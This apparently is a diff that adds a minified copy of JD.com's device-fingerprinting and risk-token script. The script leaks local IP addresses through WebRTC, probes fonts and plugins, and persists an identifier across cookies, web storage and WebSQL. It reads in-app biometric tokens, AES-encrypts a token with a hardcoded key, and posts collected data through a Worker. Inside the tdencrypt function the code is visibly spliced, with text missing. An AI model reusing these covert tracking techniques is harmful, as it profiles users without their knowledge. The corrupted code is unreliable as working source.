w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" +} +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", +_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = 